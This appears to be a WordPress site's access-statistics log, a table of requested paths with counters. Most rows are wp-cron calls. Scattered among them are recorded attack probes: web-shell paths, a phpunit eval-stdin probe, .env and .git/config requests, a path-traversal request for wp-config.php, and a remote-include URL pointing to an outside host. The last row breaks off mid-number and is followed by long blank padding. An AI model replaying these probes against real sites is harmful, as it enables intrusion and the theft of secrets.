1	1	0	0	0	27541692	0	0	27541692	0	0	0	/wp-cron.php?doing_wp_cron=1652407958.8379149436950683593750
1	0	0	0	1	0	0	27822179	0	0	27822179	0	/wp-cron.php?doing_wp_cron=1669240785.0091650485992431640625
1	0	0	0	2	0	0	27841402	0	0	27762807	0	/wp-includes/IXR/
1	1	0	0	0	28040172	0	0	28040172	0	0	0	/wp-cron.php?doing_wp_cron=1682316732.7543129920959472656250
1	0	0	0	4	0	0	28054310	0	0	27991098	0	/wp-includes/css/xmrlpc.php
1	1	0	0	0	28020545	0	0	28020545	0	0	0	/wp-cron.php?doing_wp_cron=1681139102.3663361072540283203125
1	0	0	0	1	0	0	28094649	0	0	28094649	0	/wp-content/themes/classic/inc/RxRplnht.php
1	1	0	0	0	27734460	0	0	27734460	0	0	0	/wp-cron.php?doing_wp_cron=1663974038.3321828842163085937500
1	1	0	0	0	27793320	0	0	27793320	0	0	0	/wp-cron.php?doing_wp_cron=1667509253.8104228973388671875000
1	1	0	0	0	27566201	0	0	27566201	0	0	0	/wp-cron.php?doing_wp_cron=1653878475.0210430622100830078125
1	1	0	0	0	27917023	0	0	27917023	0	0	0	/wp-cron.php?doing_wp_cron=1674931395.0841031074523925781250
1	1	0	0	0	27628853	0	0	27628853	0	0	0	/wp-cron.php?doing_wp_cron=1657637629.8182940483093261718750
1	1	0	0	0	27855765	0	0	27855765	0	0	0	/wp-cron.php?doing_wp_cron=1671255939.8814630508422851562500
1	1	0	0	0	27580500	0	0	27580500	0	0	0	/wp-cron.php?doing_wp_cron=1654736429.8820888996124267578125
1	1	0	0	0	27938674	0	0	27938674	0	0	0	/wp-cron.php?doing_wp_cron=1676230490.9439599514007568359375
1	1	0	0	0	27725577	0	0	27725577	0	0	0	/wp-cron.php?doing_wp_cron=1663441066.7662589550018310546875
1	1	0	0	0	27725593	0	0	27725593	0	0	0	/wp-cron.php?doing_wp_cron=1663441980.9497289657592773437500
1	1	0	0	0	27862364	0	0	27862364	0	0	0	/wp-cron.php?doing_wp_cron=1671651878.4477610588073730468750
1	0	0	0	9	0	0	27617114	0	0	27382039	0	/wp-content/plugins/cach/coment/
1	1	0	0	0	27880317	0	0	27880317	0	0	0	/wp-cron.php?doing_wp_cron=1672729043.4228610992431640625000
1	1	0	0	0	27338145	0	0	27338145	0	0	0	/wp-cron.php?doing_wp_cron=1640198712.3644680976867675781250
1	1	0	0	0	27891028	0	0	27891028	0	0	0	/wp-cron.php?doing_wp_cron=1673371702.4382419586181640625000
1	1	0	0	0	27873929	0	0	27873929	0	0	0	/wp-cron.php?doing_wp_cron=1672345766.6597199440002441406250
1	0	0	0	1	0	0	27583981	0	0	27583981	0	/blog/wp-content/plugins/dos2unix/dos2unix.php
1	1	0	0	0	28009479	0	0	28009479	0	0	0	/wp-cron.php?doing_wp_cron=1680475145.8432741165161132812500
1	1	0	0	0	27783760	0	0	27783760	0	0	0	/wp-cron.php?doing_wp_cron=1666932046.5219800472259521484375
1	0	0	1	0	0	27768672	0	0	27768672	0	0	/wp-admin/media-upload.php
1	1	0	0	0	27917386	0	0	27917386	0	0	0	/wp-cron.php?doing_wp_cron=1674953173.1775100231170654296875
1	1	0	0	0	27778780	0	0	27778780	0	0	0	/wp-cron.php?doing_wp_cron=1666633212.9371759891510009765625
1	1	0	0	0	27610523	0	0	27610523	0	0	0	/wp-cron.php?doing_wp_cron=1656537792.2581620216369628906250
1	1	0	0	0	27639070	0	0	27639070	0	0	0	/wp-cron.php?doing_wp_cron=1658250619.1815950870513916015625
1	1	0	0	0	27593542	0	0	27593542	0	0	0	/wp-cron.php?doing_wp_cron=1655518975.6363639831542968750000
1	0	0	0	1	0	0	27752109	0	0	27752109	0	/wp-admin/toolsbase-ws.php
1	1	0	0	0	27981208	0	0	27981208	0	0	0	/wp-cron.php?doing_wp_cron=1678782501.3529689311981201171875
1	1	0	0	0	27727068	0	0	27727068	0	0	0	/wp-cron.php?doing_wp_cron=1663530510.8577270507812500000000
1	0	0	0	1	0	0	27768663	0	0	27768663	0	/wp-includes/blocks/preformatted/about.php
1	0	0	0	2	0	0	27485598	0	0	27485588	0	/chat/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
1	1	0	0	0	27666559	0	0	27666559	0	0	0	/wp-cron.php?doing_wp_cron=1659899966.7394700050354003906250
1	1	0	0	0	27728356	0	0	27728356	0	0	0	/wp-cron.php?doing_wp_cron=1663607807.4482359886169433593750
1	1	0	0	0	27722270	0	0	27722270	0	0	0	/wp-cron.php?doing_wp_cron=1663242644.9153249263763427734375
1	1	0	0	0	27786088	0	0	27786088	0	0	0	/wp-cron.php?doing_wp_cron=1667071711.4550170898437500000000
1	0	0	0	18	0	0	28052818	0	0	27553197	0	/library/.env
1	1	0	0	0	27407759	0	0	27407759	0	0	0	/wp-cron.php?doing_wp_cron=1644375555.5694499015808105468750
1	1	0	0	0	27485599	0	0	27485599	0	0	0	/wp-cron.php?doing_wp_cron=1649042352.9848520755767822265625
1	1	0	0	0	27768676	0	0	27768676	0	0	0	/wp-cron.php?doing_wp_cron=1666027008.3417809009552001953125
1	1	0	0	0	27615469	0	0	27615469	0	0	0	/wp-cron.php?doing_wp_cron=1656834596.0344278812408447265625
1	2	2	0	0	27954647	0	0	27674783	0	0	4	/wp-json/wp/v2/comments/?per_page=100
1	1	0	0	0	27904688	0	0	27904688	0	0	0	/wp-cron.php?doing_wp_cron=1674191322.9826400279998779296875
1	1	0	0	0	27723666	0	0	27723666	0	0	0	/wp-cron.php?doing_wp_cron=1663326384.1774749755859375000000
1	0	0	0	4	0	0	27727176	0	0	27693878	0	/wp-content/plugins/akismat/contents.php
1	1	0	0	0	27720713	0	0	27720713	0	0	0	/wp-cron.php?doing_wp_cron=1663149201.0442099571228027343750
1	0	0	0	2	0	0	28069746	0	0	28056998	0	/wp-includes/customize/cong.php
1	1	0	0	0	27965326	0	0	27965326	0	0	0	/wp-cron.php?doing_wp_cron=1677829614.8270299434661865234375
1	1	0	0	0	27802554	0	0	27802554	0	0	0	/wp-cron.php?doing_wp_cron=1668063277.5662701129913330078125
1	1	0	0	0	27726170	0	0	27726170	0	0	0	/wp-cron.php?doing_wp_cron=1663476654.7469089031219482421875
1	1	0	0	0	27839774	0	0	27839774	0	0	0	/wp-cron.php?doing_wp_cron=1670296457.9989359378814697265625
1	1	0	0	0	27818176	0	0	27818176	0	0	0	/wp-cron.php?doing_wp_cron=1669000563.4337799549102783203125
1	1	0	0	0	27846365	0	0	27846365	0	0	0	/wp-cron.php?doing_wp_cron=1670691946.6649439334869384765625
1	1	0	0	0	27542740	0	0	27542740	0	0	0	/wp-cron.php?doing_wp_cron=1652470825.2071559429168701171875
1	1	0	0	0	27431577	0	0	27431577	0	0	0	/wp-cron.php?doing_wp_cron=1645804646.7977321147918701171875
1	1	0	0	0	27775649	0	0	27775649	0	0	0	/wp-cron.php?doing_wp_cron=1666445346.7967669963836669921875
1	1	0	0	0	28029818	0	0	28029818	0	0	0	/wp-cron.php?doing_wp_cron=1681695530.8576929569244384765625
1	0	0	0	1	0	0	27731100	0	0	27731100	0	/wp-content/plugins/BrutalShell/uwes.php
1	1	0	0	0	27864861	0	0	27864861	0	0	0	/wp-cron.php?doing_wp_cron=1671801694.4068560600280761718750
1	1	0	0	0	27771413	0	0	27771413	0	0	0	/wp-cron.php?doing_wp_cron=1666191193.7924389839172363281250
1	1	0	0	0	28284710	0	0	28284710	0	0	64	/.well-known/pki-validation/2916910E77BF0B1D97E53A5DC06EF3B2.txt
1	1	0	0	0	28039321	0	0	28039321	0	0	0	/wp-cron.php?doing_wp_cron=1682265677.7515189647674560546875
1	0	0	0	4	0	0	27782135	0	0	27613555	0	/wp/patior/
1	0	0	0	1	0	0	27749200	0	0	27749200	0	/wp-admin/includes/leafmailer.php
1	1	0	0	0	27606581	0	0	27606581	0	0	0	/wp-cron.php?doing_wp_cron=1656301313.2697429656982421875000
1	1	0	0	0	28319270	0	0	28319270	0	0	64	/.well-known/pki-validation/8B88BA6AB2C5DC037D097B73AFD9FBF9.txt
1	1	0	0	0	27360780	0	0	27360780	0	0	0	/wp-cron.php?doing_wp_cron=1641556812.6144270896911621093750
1	1	0	0	0	27531581	0	0	27531581	0	0	0	/wp-cron.php?doing_wp_cron=1651801278.8465480804443359375000
1	1	0	0	0	27925465	0	0	27925465	0	0	0	/wp-cron.php?doing_wp_cron=1675437920.6034429073333740234375
1	1	0	0	0	27810174	0	0	27810174	0	0	0	/wp-cron.php?doing_wp_cron=1668520456.4010651111602783203125
1	0	0	4	0	0	27728959	0	0	27388337	0	0	/wp-admin/js/ccx/index.php
1	1	0	0	0	27543142	0	0	27543142	0	0	0	/wp-cron.php?doing_wp_cron=1652494958.3293681144714355468750
1	0	0	0	5	0	0	27997969	0	0	27485589	0	/home/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	1	0	0	0	27910234	0	0	27910234	0	0	0	/wp-cron.php?doing_wp_cron=1674524069.5038549900054931640625
1	1	0	0	0	27836078	0	0	27836078	0	0	0	/wp-cron.php?doing_wp_cron=1670074693.7795350551605224609375
1	1	0	0	0	27812340	0	0	27812340	0	0	0	/wp-cron.php?doing_wp_cron=1668650404.5190949440002441406250
1	1	0	0	0	27851861	0	0	27851861	0	0	0	/wp-cron.php?doing_wp_cron=1671021709.9646921157836914062500
1	0	0	0	3	0	0	27598478	0	0	27382404	0	/wp-admin/admin-ajax.php?action=cpabc_appointments_calendar_update&cpabc_calendar_update=1&id=../../../../../../wp-config.php
1	0	0	0	2	0	0	28207906	0	0	28206360	0	/staging/.git/config
1	1	0	0	0	27610566	0	0	27610566	0	0	0	/wp-cron.php?doing_wp_cron=1656540379.8272590637207031250000
1	1	0	0	0	27786773	0	0	27786773	0	0	0	/wp-cron.php?doing_wp_cron=1667116435.4456961154937744140625
1	1	0	0	0	27808410	0	0	27808410	0	0	0	/wp-cron.php?doing_wp_cron=1668414651.2554190158843994140625
1	0	0	0	4	0	0	28078283	0	0	27768667	0	/wp-content/uploads/about.php
1	1	0	0	0	27729485	0	0	27729485	0	0	0	/wp-cron.php?doing_wp_cron=1663675532.8293499946594238281250
1	1	0	0	0	27909267	0	0	27909267	0	0	0	/wp-cron.php?doing_wp_cron=1674466055.7374789714813232421875
1	1	0	0	0	27863582	0	0	27863582	0	0	0	/wp-cron.php?doing_wp_cron=1671724948.4379649162292480468750
1	1	0	0	0	27531248	0	0	27531248	0	0	0	/wp-cron.php?doing_wp_cron=1651781311.1197080612182617187500
1	1	0	0	0	27843703	0	0	27843703	0	0	0	/wp-cron.php?doing_wp_cron=1670532219.7215828895568847656250
1	0	0	0	70	0	0	28148426	0	0	27289505	0	/wpindex.php?idb=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1
1	1	0	0	0	28020717	0	0	28020717	0	0	0	/wp-cron.php?doing_wp_cron=1681149470.5230369567871093750000
1	0	0	0	1	0	0	27478483	0	0	27478483	0	/wp-content/plugins/shopp/readme.txt
1	1	0	0	0	27746802	0	0	27746802	0	0	0	/wp-cron.php?doing_wp_cron=1664714530.0370790958404541015625
1	1	0	0	0	27562701	0	0	27562701	0	0	0	/wp-cron.php?doing_wp_cron=1653668503.4130010604858398437500
1	1	0	0	0	27880926	0	0	27880926	0	0	0	/wp-cron.php?doing_wp_cron=1672765617.8645169734954833984375
1	1	0	0	0	27325637	0	0	27325637	0	0	0	/wp-cron.php?doing_wp_cron=1639448253.8598420619964599609375
1	0	0	0	1	0	0	27500218	0	0	27500218	0	/oowvq/xmlrpc.php
1	1	0	0	0	27602328	0	0	27602328	0	0	0	/wp-cron.php?doing_wp_cron=1656046114.3336219787597656250000
1	1	0	0	0	27965750	0	0	27965750	0	0	0	/wp-cron.php?doing_wp_cron=1677855044.8725779056549072265625
1	1	0	0	0	27612222	0	0	27612222	0	0	0	/wp-cron.php?doing_wp_cron=1656639735.6899240016937255859375
1	1	0	0	0	27817398	0	0	27817398	0	0	0	/wp-cron.php?doing_wp_cron=1668953932.9985690116882324218750
1	1	0	0	0	27891026	0	0	27891026	0	0	0	/wp-cron.php?doing_wp_cron=1673371583.8319749832153320312500
1	0	0	1	1	0	27443680	28002632	0	27443680	28002632	0	/assets/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg
1	0	0	0	1	0	0	27964559	0	0	27964559	0	/.env.development
1	1	0	0	0	27638504	0	0	27638504	0	0	0	/wp-cron.php?doing_wp_cron=1658216653.0165960788726806640625
1	1	0	0	0	27617797	0	0	27617797	0	0	0	/wp-cron.php?doing_wp_cron=1656974265.7538940906524658203125
1	1	0	0	0	27972755	0	0	27972755	0	0	0	/wp-cron.php?doing_wp_cron=1678275338.7031741142272949218750
1	1	0	0	0	27449861	0	0	27449861	0	0	0	/wp-cron.php?doing_wp_cron=1646901669.4603619575500488281250
1	1	0	0	0	27351329	0	0	27351329	0	0	0	/wp-cron.php?doing_wp_cron=1640989770.8801519870758056640625
1	0	0	0	1	0	0	27768662	0	0	27768662	0	/oindex.php
1	1	0	0	0	27929043	0	0	27929043	0	0	0	/wp-cron.php?doing_wp_cron=1675652618.9824969768524169921875
1	1	0	0	0	28000806	0	0	28000806	0	0	0	/wp-cron.php?doing_wp_cron=1679954794.0075540542602539062500
1	1	0	0	0	27986293	0	0	27986293	0	0	0	/wp-cron.php?doing_wp_cron=1679087601.9585850238800048828125
1	1	0	0	0	28076916	0	0	28076916	0	0	0	/wp-cron.php?doing_wp_cron=1684521367.2794380187988281250000
1	1	0	0	0	28009721	0	0	28009721	0	0	0	/wp-cron.php?doing_wp_cron=1680489698.2430920600891113281250
1	0	0	0	2	0	0	28034423	0	0	28019050	0	/wp-content/plugins/seoplugins/db.php
1	1	0	0	0	27439104	0	0	27439104	0	0	0	/wp-cron.php?doing_wp_cron=1646256265.3682210445404052734375
1	1	0	0	0	28093788	0	0	28093788	0	0	0	/wp-cron.php?doing_wp_cron=1685533695.4283950328826904296875
1	1	0	0	0	27856377	0	0	27856377	0	0	0	/wp-cron.php?doing_wp_cron=1671292627.4579529762268066406250
1	0	0	0	1	0	0	27714960	0	0	27714960	0	/fswczgfl.php?Fox=d3wL7
1	1	0	0	0	27608196	0	0	27608196	0	0	0	/wp-cron.php?doing_wp_cron=1656398209.2915599346160888671875
1	1	0	0	0	28059481	0	0	28059481	0	0	0	/wp-cron.php?doing_wp_cron=1683475271.3790359497070312500000
1	1	0	0	0	27834823	0	0	27834823	0	0	0	/wp-cron.php?doing_wp_cron=1669999432.8930289745330810546875
1	0	0	0	1	0	0	27749143	0	0	27749143	0	/blog/ALFA_DATA/alfacgiapi
1	1	0	0	0	27996119	0	0	27996119	0	0	0	/wp-cron.php?doing_wp_cron=1679677151.3067419528961181640625
1	1	0	0	0	28011161	0	0	28011161	0	0	0	/wp-cron.php?doing_wp_cron=1680576084.0189518928527832031250
1	0	0	0	1	0	0	27678132	0	0	27678132	0	/wp-content/plugins/formcraft/file-upload/server/php/index.php?file=tf2rghf.jpg
1	1	0	0	0	27378569	0	0	27378569	0	0	0	/wp-cron.php?doing_wp_cron=1642624195.8674559593200683593750
1	1	0	0	0	27427304	0	0	27427304	0	0	0	/wp-cron.php?doing_wp_cron=1645548242.7888560295104980468750
1	1	0	0	0	27447774	0	0	27447774	0	0	0	/wp-cron.php?doing_wp_cron=1646776485.3317649364471435546875
1	1	0	0	0	27731917	0	0	27731917	0	0	0	/wp-cron.php?doing_wp_cron=1663821442.5626099109649658203125
1	1	0	0	0	2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      